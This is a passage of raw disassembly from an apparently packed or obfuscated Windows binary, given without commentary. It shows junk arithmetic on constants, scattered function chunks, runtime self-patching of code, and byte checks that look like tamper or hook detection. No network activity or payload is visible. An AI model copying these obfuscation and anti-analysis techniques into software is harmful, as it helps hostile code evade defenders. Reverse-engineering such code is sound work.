		jmp	loc_428C36

; =============== S U B	R O U T	I N E =======================================



sub_42681B	proc near		; CODE XREF: _7hdaygc1:0042D1DDj
					; _7hdaygc1:loc_42D728p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, [esp-4+arg_0]
		adc	edx, [esp-4+arg_4]
sub_42681B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_425C2C


loc_426826:				; CODE XREF: sub_425C2C:loc_42A9EDj
		add	esp, 8
		jmp	loc_42BC94
; END OF FUNCTION CHUNK	FOR sub_425C2C
; ---------------------------------------------------------------------------
		push	offset loc_423A1D
		jmp	loc_42A0FF
; ---------------------------------------------------------------------------


loc_426838:				; DATA XREF: _7hdaygc1:loc_42D1AEo
		add	eax, 8292DEDDh


loc_42683E:				; CODE XREF: _7hdaygc1:loc_42AC0Cj
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42BB0F
		jmp	loc_4242EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42684D:				; CODE XREF: sub_42AA47-4BEEj
		push	660D1467h
		mov	[ecx], ebx
		shl	eax, 1Dh
		jmp	loc_4249A1
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429532


loc_42685C:				; CODE XREF: sub_429532+363Bj
		cmp	ds:dword_427474[eax*4],	0
		jz	loc_4236E2
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0CFh
		jz	loc_4236DB
		mov	eax, [ebp-4]


loc_426879:				; CODE XREF: sub_429532:loc_4247FFj
		cmp	byte ptr [eax],	0E9h
		jmp	loc_4283DA
; END OF FUNCTION CHUNK	FOR sub_429532
; ---------------------------------------------------------------------------


loc_426881:				; CODE XREF: _7hdaygc1:loc_42AEEFj
		jle	loc_426C06
		jmp	loc_42903D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424CE0


loc_42688C:				; CODE XREF: sub_424CE0+22C4j
		pop	ebp
		pop	esi
		pop	ecx
		pop	ebx
		pop	ebp
		jmp	loc_423B88
; END OF FUNCTION CHUNK	FOR sub_424CE0
; ---------------------------------------------------------------------------
		pop	ebp
		jmp	sub_42F8C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425008


loc_42689C:				; CODE XREF: sub_425008:loc_429B89j
		add	ecx, 97E3D9C8h
		mov	ecx, [ecx]
		pushf
		push	offset loc_42B3E1
		jmp	nullsub_213
; END OF FUNCTION CHUNK	FOR sub_425008
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_4268AF:				; CODE XREF: sub_42EBD6:loc_42869Dj
		or	edi, 0CCD8AA89h
		push	esi
		jmp	loc_42D292
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; ---------------------------------------------------------------------------


loc_4268BB:				; CODE XREF: _7hdaygc1:00425195j
		mov	[ecx], edi

; =============== S U B	R O U T	I N E =======================================



sub_4268BD	proc near		; CODE XREF: sub_42BA2C+40E6p

; FUNCTION CHUNK AT 004247A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424BB7 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042C879 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	407B316Bh
		pop	edi
		add	edi, 0CA4FC17Ah
		jmp	loc_42C879
sub_4268BD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4268D2:				; CODE XREF: _7hdaygc1:00423C19j
		jg	loc_42CFCE
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_4268D9	proc near		; CODE XREF: sub_42AA47:loc_4250B3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004240BD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424195 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042599C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042610F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00428DE1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C09D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042D0D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F66D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042F6D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FD7C SIZE 0000000B BYTES

		xchg	ecx, [esp+4+var_4]
		pop	ecx
		push	0A8DC36C1h
		pop	eax
		rol	eax, 0Fh
		jmp	loc_42D0D0
sub_4268D9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4268EB:				; CODE XREF: _7hdaygc1:loc_429DE7j
		mov	ebx, eax
		xchg	ebx, [esp]
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_4268F1:				; CODE XREF: sub_4253A0-59Ej
		mov	eax, [ebp-8]
		push	edi
		push	2A9539D7h
		xchg	ebp, [esp+0]
		jmp	loc_42D22D
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------


loc_426902:				; CODE XREF: _7hdaygc1:00424AC5j
		xchg	edi, [esp]
		pushf
		push	7844782Fh
		pop	eax
		jmp	loc_42B46B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F05


loc_426911:				; CODE XREF: sub_426F05:loc_4271D7j
		call	sub_42B650
		retn
; END OF FUNCTION CHUNK	FOR sub_426F05
; ---------------------------------------------------------------------------


loc_426917:				; CODE XREF: _7hdaygc1:loc_42923Ej
					; _7hdaygc1:0042DB3Fj
		jo	loc_42CB43
		push	eax
		push	ebp
		pop	eax
		xchg	eax, [esp]
		jmp	loc_42457E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427F72


loc_426928:				; CODE XREF: sub_427F72:loc_42F6B0j
		jnz	loc_4256C3
		or	ebp, edx
		and	ebx, edi
		xchg	ebp, [edx]
		and	eax, edi
		jge	loc_42D72F
		jmp	loc_4256C3
; END OF FUNCTION CHUNK	FOR sub_427F72

; =============== S U B	R O U T	I N E =======================================



sub_426941	proc near		; CODE XREF: sub_426303+Dj
					; sub_42E43B+16p

; FUNCTION CHUNK AT 00429B44 SIZE 00000005 BYTES

		push	ebp
		push	offset loc_42E315
		jmp	loc_429B44
sub_426941	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424B63


loc_42694D:				; CODE XREF: sub_424B63+7C2Fj
		jmp	nullsub_47
; END OF FUNCTION CHUNK	FOR sub_424B63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42524F


loc_426952:				; CODE XREF: sub_42524F:loc_42B64Bj
		inc	ds:dword_42B9A0
		lea	eax, nullsub_1
		mov	byte ptr [eax],	0C3h
		call	nullsub_2
		push	edi
		push	68893D68h
		jmp	loc_425BF7
; END OF FUNCTION CHUNK	FOR sub_42524F
; ---------------------------------------------------------------------------


loc_426971:				; CODE XREF: _7hdaygc1:0042395Aj
		retn
; ---------------------------------------------------------------------------


loc_426972:				; CODE XREF: _7hdaygc1:00426D4Fj
		jl	loc_4290EA

; =============== S U B	R O U T	I N E =======================================



sub_426978	proc near		; CODE XREF: sub_42EB0D-ADADp

; FUNCTION CHUNK AT 0042FCE7 SIZE 00000011 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	esi, 83169D9Ah
		mov	[esi], eax
		pop	esi
		push	0A2C9DC2Fh
		pop	eax
		jmp	loc_42FCE7
sub_426978	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_426990:				; CODE XREF: _7hdaygc1:loc_42E80Ej
		retn
; ---------------------------------------------------------------------------


loc_426991:				; CODE XREF: _7hdaygc1:0042CC40j
		jmp	loc_42F793
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DAD9


loc_426996:				; CODE XREF: sub_42DAD9-785Ej
		jmp	loc_4281DA
; END OF FUNCTION CHUNK	FOR sub_42DAD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_42699B:				; CODE XREF: sub_425F27+5536j
		sub	edx, 0CC9A7677h
		cmp	edx, 0E370AA33h
		jmp	loc_4299EF
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_4269AC:				; CODE XREF: sub_42C16F:loc_429830j
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+0]
		mov	esp, ebp
		jmp	loc_426BBF
; END OF FUNCTION CHUNK	FOR sub_42C16F

; =============== S U B	R O U T	I N E =======================================



sub_4269BB	proc near		; CODE XREF: sub_427CC6:loc_427CD2p
					; _7hdaygc1:0042B96Aj

; FUNCTION CHUNK AT 004267F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004293F0 SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	edx, [ebx+ecx]
		xor	edx, [ebx+ecx+4]
		jmp	loc_4293F0
sub_4269BB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4269CB	proc near		; DATA XREF: _7hdaygc1:0042C5F1o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424BE1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042521E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426174 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042A691 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042CF89 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042DE2A SIZE 0000000A BYTES

		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42DE2A
		jmp	loc_42521E
sub_4269CB	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423410


loc_4269DB:				; CODE XREF: sub_423410:loc_42D81Aj
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42E54C
		or	eax, eax
		jnz	loc_42DACA
		jmp	loc_424CEC
; END OF FUNCTION CHUNK	FOR sub_423410
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_4269F4:				; CODE XREF: sub_423DFC:loc_429850j
					; sub_423DFC+93ADj
		add	dword ptr [ebp-4], 4
		push	0EDFE81BCh
		pop	eax
		or	eax, 7AFA9C57h
		add	eax, 6B11D1DDh
		xor	eax, 9DBAB08Bh


loc_426A10:				; CODE XREF: _7hdaygc1:0042C8C6j
		jmp	loc_42A705
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429412


loc_426A15:				; CODE XREF: sub_429412+1Dj
		rol	ebx, 15h
		jmp	loc_42C560
; END OF FUNCTION CHUNK	FOR sub_429412
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A92E


loc_426A1D:				; CODE XREF: sub_42A92E-5F2Cj
		sbb	edi, 54AA0F68h
		add	edx, 0B691937Ch
		cmp	ecx, eax
		jmp	loc_42ED9E
; END OF FUNCTION CHUNK	FOR sub_42A92E
; ---------------------------------------------------------------------------
		ror	edi, 0Ah
		jmp	loc_424D5F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_426A39	proc near		; CODE XREF: sub_42D84A-F93p
					; sub_4268D9+94A9j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423067 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423929 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428C31 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428FC8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042AB52 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042B831 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042D94B SIZE 00000021 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	54C026DAh
		pop	esi
		and	esi, 0EAAF7169h
		call	sub_428E3C


loc_426A4E:				; CODE XREF: _7hdaygc1:loc_429101j
		call	sub_42C369


loc_426A53:				; CODE XREF: sub_42C67D+5j
		jmp	loc_428FC8
sub_426A39	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BAE7


loc_426A58:				; CODE XREF: sub_42BAE7-274Cj
		jmp	loc_42D183
; END OF FUNCTION CHUNK	FOR sub_42BAE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_426A5D:				; CODE XREF: sub_425C3B+Fj
		jmp	loc_42F7C9
; END OF FUNCTION CHUNK	FOR sub_425C3B

; =============== S U B	R O U T	I N E =======================================



sub_426A62	proc near		; CODE XREF: sub_428B11+299Dj

; FUNCTION CHUNK AT 00426281 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426F6C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004272DA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00428D63 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042BD15 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042CBEA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042DC31 SIZE 00000005 BYTES

		add	esp, 0FFFFFFF4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		mov	eax, offset dword_42BC4C
		call	sub_427D8E
		jmp	loc_42CBEA
sub_426A62	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_423C62
		jmp	loc_42EA96
; ---------------------------------------------------------------------------


loc_426A87:				; DATA XREF: _7hdaygc1:004257BBo
		push	0FDE1B202h
		pop	esi
		sub	esi, 6574A284h
		add	esi, 0A289DB7Ch
		jmp	loc_4242A7
; ---------------------------------------------------------------------------


loc_426A9E:				; CODE XREF: _7hdaygc1:loc_42B46Bj
		rol	eax, 18h
		xor	eax, 4A3FAD0Fh
		add	eax, ebp
		add	eax, 9AB81685h
		mov	eax, [eax]
		popf
		jmp	loc_4288F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_426AB7:				; CODE XREF: sub_4291EA:loc_42F9C3j
		pop	ebp
		mov	eax, ds:dword_42E544
		or	eax, eax
		jnz	loc_42863C
		jmp	loc_4230C2
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB24


loc_426ACB:				; CODE XREF: sub_42EB24-3559j
		add	eax, [ebp-4]
		add	eax, 18h
; END OF FUNCTION CHUNK	FOR sub_42EB24
; START	OF FUNCTION CHUNK FOR sub_42EB0D


loc_426AD1:				; CODE XREF: sub_42EB0D+12j
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		jmp	loc_424440
; END OF FUNCTION CHUNK	FOR sub_42EB0D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0C4


loc_426ADD:				; CODE XREF: sub_42E0C4+19j
		jmp	loc_42DF1A
; END OF FUNCTION CHUNK	FOR sub_42E0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42837F


loc_426AE2:				; CODE XREF: sub_42837F-20A4j
		jmp	nullsub_95
; END OF FUNCTION CHUNK	FOR sub_42837F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D5F1


loc_426AE7:				; CODE XREF: sub_42D5F1-9082j
		jmp	nullsub_118
; END OF FUNCTION CHUNK	FOR sub_42D5F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EE8A


loc_426AEC:				; CODE XREF: sub_42EE8A-7D58j
		add	eax, ebp
		push	ecx
		push	34566A51h
		pop	ecx
		sub	ecx, 0D5BF0BB9h
		or	ecx, 29F8D9E2h
		xor	ecx, 76C7A724h
		add	ecx, 0BDAB6266h
		jmp	loc_428580
; END OF FUNCTION CHUNK	FOR sub_42EE8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4272FB


loc_426B12:				; CODE XREF: sub_4272FB:loc_424935j
		xchg	ebx, [esp+0]
		jmp	sub_42D757
; END OF FUNCTION CHUNK	FOR sub_4272FB

; =============== S U B	R O U T	I N E =======================================



sub_426B1A	proc near		; CODE XREF: sub_427CC6-1ED5p
					; _7hdaygc1:0042F54Fj

; FUNCTION CHUNK AT 0042ADA7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042B10C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E3D0 SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jz	loc_42ADA7
		cmp	eax, 0FFFFFFFFh
		jz	loc_42ADA7
		jmp	loc_42B10C
sub_426B1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427E76


loc_426B32:				; CODE XREF: sub_427E76+1811j
		add	esi, 0D02290FAh
		xchg	esi, [esp+4+var_4]
		jmp	sub_428C3B
; END OF FUNCTION CHUNK	FOR sub_427E76
; ---------------------------------------------------------------------------


loc_426B40:				; CODE XREF: _7hdaygc1:0042AA25j
		jz	loc_42DEC4
		test	ebp, 0B4771E12h
		jmp	loc_42C822
; ---------------------------------------------------------------------------
		sbb	ecx, 231B50A2h
		test	eax, 653721D4h
		jmp	loc_42DBA8

; =============== S U B	R O U T	I N E =======================================



sub_426B62	proc near		; CODE XREF: _7hdaygc1:00424F24j
					; sub_42EBB3+6p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042CB96 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	6941BC48h
		pop	ecx
		sub	ecx, 5288EAB9h
		add	ecx, 0E98A0829h
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_42CB96
sub_426B62	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_426B80:				; CODE XREF: sub_423172+526j
		jnz	loc_425C8F
		or	edx, 1F848B5Eh
		jmp	loc_425C8D
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------


loc_426B91:				; CODE XREF: _7hdaygc1:0042864Aj
		jl	loc_42DFB0
		and	esi, 0BDDC9C18h
		jmp	loc_429A9C
; ---------------------------------------------------------------------------


loc_426BA2:				; DATA XREF: sub_42E1F1-21C0o
		jnz	loc_42EAE2
		mov	eax, [ebp-4]
		jmp	loc_424B7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F1C6


loc_426BB0:				; CODE XREF: sub_42F1C6:loc_42A5DDj
		mov	eax, [ebp-4]
		call	sub_427186
		test	al, al
		call	sub_424B63
; END OF FUNCTION CHUNK	FOR sub_42F1C6
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_426BBF:				; CODE XREF: sub_42C16F-57B9j
		jmp	loc_428A43
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------


loc_426BC4:				; CODE XREF: _7hdaygc1:00428CBCj
		xor	edx, esi
		jmp	loc_42E4D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_426BCB:				; CODE XREF: sub_425E64+3621j
		add	eax, ebp
		push	ecx
		push	641603A2h
		pop	ecx
		and	ecx, 0A2FFEE8Bh
		jmp	loc_429B58
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AA8


loc_426BDF:				; CODE XREF: sub_424AA8+381Ej
		pop	ecx
		adc	edx, ebp
		jmp	loc_428794
; END OF FUNCTION CHUNK	FOR sub_424AA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C26B


loc_426BE7:				; CODE XREF: sub_42C26B-1B7Dj
		call	sub_426130
; END OF FUNCTION CHUNK	FOR sub_42C26B
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_426BEC:				; CODE XREF: sub_4253A0-1BCBj
		jmp	loc_4237F0
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------


loc_426BF1:				; CODE XREF: _7hdaygc1:00423C01j
		js	loc_426496

; =============== S U B	R O U T	I N E =======================================



sub_426BF7	proc near		; CODE XREF: sub_425BAD:loc_42DCDDp

; FUNCTION CHUNK AT 0042731D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00427EDD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00428609 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004293B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C77F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042D0D5 SIZE 0000000F BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, 72EE894Bh
		jmp	loc_428609
sub_426BF7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_426C06:				; CODE XREF: sub_429318-5977j
					; sub_424E9C+5j ...
		lea	eax, [ebp-0Ch]
		call	sub_42C16F
		jns	loc_426577
		push	3D73E0Bh
		pop	eax
		add	eax, 5BEFFC3Dh
		xor	eax, 2C25B7Eh
		jmp	loc_42F947
; END OF FUNCTION CHUNK	FOR sub_429318
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8C4


loc_426C2C:				; CODE XREF: sub_42F8C4-4FF0j
		add	esi, ebp
		add	esi, 0A702BAA8h
		mov	[esi], edx
		xchg	ecx, [esp+0]
		mov	esi, ecx
		jmp	loc_42A494
; END OF FUNCTION CHUNK	FOR sub_42F8C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428498


loc_426C40:				; CODE XREF: sub_428498+4AAFj
		jz	loc_42BA44
		jmp	loc_42BD62
; END OF FUNCTION CHUNK	FOR sub_428498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_426C4B:				; CODE XREF: sub_42C7F3-53Dj
		jo	loc_42DC0D


loc_426C51:				; CODE XREF: sub_42C7F3-72BAj
		or	edx, 0B29CC9C0h
		add	edx, 6C5AA726h
		add	edx, ebp
		add	edx, 0E0A878E3h
		mov	edx, [edx]
		push	5E9F5668h
		pop	eax
		jmp	loc_42604B
; END OF FUNCTION CHUNK	FOR sub_42C7F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42450E


loc_426C72:				; CODE XREF: sub_42450E+11j
		xor	eax, 0E72EFB87h
		and	eax, 50F27BA4h
		add	eax, ds:4000FBh
		xor	eax, 0A1D4DBA4h


loc_426C8A:				; CODE XREF: _7hdaygc1:00423EB8j
		add	eax, 0E4A1DC95h
		jmp	loc_42F460
; END OF FUNCTION CHUNK	FOR sub_42450E
; ---------------------------------------------------------------------------
		mov	[eax], ebx
		jmp	sub_42EB3E
; ---------------------------------------------------------------------------

locret_426C9C:				; CODE XREF: _7hdaygc1:loc_42F5B1j
		retn
; ---------------------------------------------------------------------------


loc_426C9D:				; CODE XREF: _7hdaygc1:00428CDBj
		jmp	loc_42CC23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_426CA2:				; CODE XREF: sub_4288FE+6607j
					; sub_4288FE:loc_42F69Cj
		push	0
		push	eax
		push	8548189Fh
		xchg	ecx, [esp+0Ch+var_C]
		mov	eax, ecx
		pop	ecx
		jmp	loc_42648E
; END OF FUNCTION CHUNK	FOR sub_4288FE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CCDD


loc_426CB6:				; CODE XREF: sub_42CCDD+Aj
		jmp	loc_42DA37
; END OF FUNCTION CHUNK	FOR sub_42CCDD

; =============== S U B	R O U T	I N E =======================================



sub_426CBB	proc near		; CODE XREF: sub_424AE1-1084p
					; _7hdaygc1:0042414Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423F84 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042E6DB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042FC3C SIZE 00000008 BYTES

		jns	loc_42FC3C
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		jmp	loc_423F84
sub_426CBB	endp

; ---------------------------------------------------------------------------


loc_426CCC:				; CODE XREF: _7hdaygc1:loc_42E81Ej
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp]
		push	5E5C1A57h
		pop	eax
		and	eax, 0C896A4DDh
		sub	eax, 94C8FE9Fh
		jmp	loc_42DACF
; ---------------------------------------------------------------------------


loc_426CE9:				; DATA XREF: sub_424F62+3813o
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_429D06
		jmp	loc_423239
; ---------------------------------------------------------------------------


loc_426CF8:				; CODE XREF: _7hdaygc1:loc_42854Aj
		mov	eax, [eax]
		push	eax
		push	offset sub_42E0E2
		jmp	loc_42FCA1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_426D06:				; CODE XREF: _7hdaygc1:00428EF2j
		jmp	loc_429A8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C2C


loc_426D0B:				; CODE XREF: sub_425C2C-229Fj
		jmp	loc_423F33
; END OF FUNCTION CHUNK	FOR sub_425C2C

; =============== S U B	R O U T	I N E =======================================



sub_426D10	proc near		; CODE XREF: _7hdaygc1:0042335Fj
					; sub_429A26+4C2Bp

; FUNCTION CHUNK AT 00428960 SIZE 0000000E BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp+8]
		mov	eax, [eax-10h]
		shr	eax, 6
		mov	[ebp-10h], eax
		jmp	loc_428960
sub_426D10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_426D25:				; CODE XREF: sub_424AE1:loc_428DD2j
		ja	loc_426681
		jmp	loc_428022
; END OF FUNCTION CHUNK	FOR sub_424AE1

; =============== S U B	R O U T	I N E =======================================



sub_426D30	proc near		; DATA XREF: sub_428818:loc_428824o

arg_0		= dword	ptr  4

		adc	edx, [esp+arg_0]
		jmp	loc_42CB91
sub_426D30	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424B63


loc_426D39:				; CODE XREF: sub_424B63:loc_42EAE2j
		mov	eax, [ebp-4]
		call	sub_42D287
		call	sub_42D16D

locret_426D46:				; CODE XREF: sub_42A052:loc_423B7Ej
		retn
; END OF FUNCTION CHUNK	FOR sub_424B63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423C08


loc_426D47:				; CODE XREF: sub_423C08+6j
		jmp	loc_42D5DB
; END OF FUNCTION CHUNK	FOR sub_423C08
; ---------------------------------------------------------------------------
		push	edi
		cmp	ecx, ebp
		jmp	loc_426972
; ---------------------------------------------------------------------------
		mov	ds:dword_42BC60, eax
		jmp	loc_429BBE
; ---------------------------------------------------------------------------


loc_426D5E:				; CODE XREF: _7hdaygc1:00426FB4j
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	0AF0E3B4h
		pop	esi
		sub	esi, 58B7E14Dh
		jmp	loc_423E48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E94F


loc_426D74:				; CODE XREF: sub_42E94F+11j
		push	75B03573h
		xchg	ebp, [esp+4+var_4]
		mov	eax, ebp
		pop	ebp
		sub	eax, 1BE9B198h
		add	eax, 92DECD1Dh
		jmp	loc_425F8C
; END OF FUNCTION CHUNK	FOR sub_42E94F
; ---------------------------------------------------------------------------
		xchg	ecx, [edx]
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_426D92:				; CODE XREF: sub_4291EA:loc_42C2C6j
		jmp	loc_42D594
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_42F8F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD11


loc_426D9D:				; CODE XREF: sub_42FD11+Dj
		jnz	loc_42EC3C
		jmp	loc_429E18
; END OF FUNCTION CHUNK	FOR sub_42FD11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42986C


loc_426DA8:				; CODE XREF: sub_42986C+3A6Bj
					; DATA XREF: sub_42AA9B:loc_42D2C2o
		push	esi
		mov	esi, edi
		xchg	esi, [esp+0]
		push	7506DC97h
		jmp	loc_429F29
; END OF FUNCTION CHUNK	FOR sub_42986C
; ---------------------------------------------------------------------------

locret_426DB8:				; CODE XREF: _7hdaygc1:loc_425148j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CFDA


loc_426DB9:				; CODE XREF: sub_42CFDA-36FBj
		jmp	loc_4296A7
; END OF FUNCTION CHUNK	FOR sub_42CFDA
; ---------------------------------------------------------------------------
